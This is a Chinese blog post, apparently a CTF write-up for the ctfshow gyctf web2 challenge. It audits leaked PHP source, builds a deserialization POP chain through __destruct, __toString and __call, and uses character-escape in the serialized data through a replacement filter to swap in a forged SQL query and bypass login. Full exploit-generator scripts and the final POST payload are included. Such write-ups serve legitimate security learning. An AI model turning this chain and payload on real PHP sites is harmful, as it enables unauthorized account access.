Loading

CTFSHOW-日刷-game-gyctf web2/pop链-反序列字符逃逸

 

 

 尝试注入,发现没啥效果。尝试扫描后台

 

发现存在www.zip的网站备份,下载打开,进行php代码审计

一共4个PHP文件,其中index.php有一个当前目录的文件包含,因此可以绕过登入直接查看update.php

/index.php?action=update

 

 

 但是会检查session因此没法看到flag

update.php

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
    echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
    require_once("flag.php");
    echo $flag;
}

?>

可以看到要session[login]=1 ,才能获得flag,转到lib.php

        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }

从login函数分析可知,要想能成功返回(也就是登入成功),有两种方法,一就是token=admin,二是满足passwd的md5值等于数据库中的存储值

但是token是在方法二满足后才赋值的,所以还是要用方法二

注意到login函数接收一个参数$sql,这个是执行的sql语句,默认是 “select id,password from user where username=?”,我们可以想办法让它等于 “select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?”

这样sql返回的passwd就是1的MD5值,同时我们让post的passwd等于1,不就满足条件二吗,而且条件二满足后,就会让session里的token=admin,再次登入就不会检查密码了。

下一步就是想办法传入这个参数并且执行login函数

 

观察可得update页面会调用user类的update()方法

...
$users=new User(); $users->update();
...

转到user类的该方法

public function update(){
        $Info=unserialize($this->getNewinfo());
...
}

 发现调用getinfo方法,转进

   public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

分析可知这里接收两个参数age和nickname,然后以这两个为参数值构造一个info类,过滤后再进行序列化

转到info类

class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}

可以发现__call函数,当调用info类中一个不存在的类时就会执行改魔术方法,执行输出当前类中的ctrlcase的login函数,并且将参数传递进去

这样我们就能够调用login函数了,同时$sql参数也有我们指定

但是在哪调用info类中的不存在函数,这里主要看user类的一个tosring方法

  public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }

发现这里会调用nickname中的update函数,age作为参数,如果我们让nickname为info类,age等于我们想执行的语句,不就行了吗。

下一步时寻找在哪才能调用这个tostring方法,最后再UpdateHelper类中

Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->$sql;
    }
}

这里可以看到echo了当前类中的$sql变量,我们让$sql等于user类即可

 

这里给出反序列构造方法:

<?php
class dbCtrl
{
public $name="admin";
public $password="1";
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
}
class User
{
public $age="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?";
public $nickname;
}
Class UpdateHelper{
public $sql;
}
$db=new dbCtrl();

$in=new Info();
$in->CtrlCase=$db;

$user=new User();
$user->nickname=$in;

$update=new UpdateHelper();
$update->sql=$user;

echo serialize($update);

但是如何传入这个序列化数据进行反序列化呢?由上面分析可知,源代码中会反序列化一个info类,但是那个info类我们只能传入两个参数,然后它两个参数来构造类并且反序列化。这里其实可以绕过,方法是利用反序列化字符串字符逃逸漏洞

我们让info三个参数(除了传入的两个参数,还有一个ctrlcase参数),其中一个为我们想要的序列化类即可(类中类也会一起序列化,反序列化会一起反序列化)。这里用字符逃逸漏洞,

注意

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

可以看到有字符替换,且长度不同,也就意味着字符逃逸,这里不详细说明了

给出最终脚本

<?php
class dbCtrl
{
    public $name="admin";
    public $password="1";
}
class Info{
        public $age;
    public $nickname;
    public $CtrlCase;
}
class User
{
    public $age="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?";
    public $nickname;
}
Class UpdateHelper{
    public $sql;
}
$db=new dbCtrl();

$in=new Info();
$in->CtrlCase=$db;

$user=new User();
$user->nickname=$in;

$update=new UpdateHelper();
$update->sql=$user;

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

$k=new Info();
$k->age=18;
$m=str_repeat("into",146);
$k->nickname=$m."\";s:8:\"CtrlCase\";".serialize($update).'}';
echo($k->nickname);
?>

payload:

age=18&nickname=intointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointo";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

 

稍微解释下,

";s:8:"CtrlCase";serialize($update)}

双引号和前面提前闭合(长度替换后),后面加上ctrlcase参数,并且内容是我们想反序列化的类,最后加上一个}来提前结尾

最后再用admin 随便啥密码登入一下

 

posted @ 2021-10-14 19:12  Aninock  阅读(885)  评论(1编辑  收藏  举报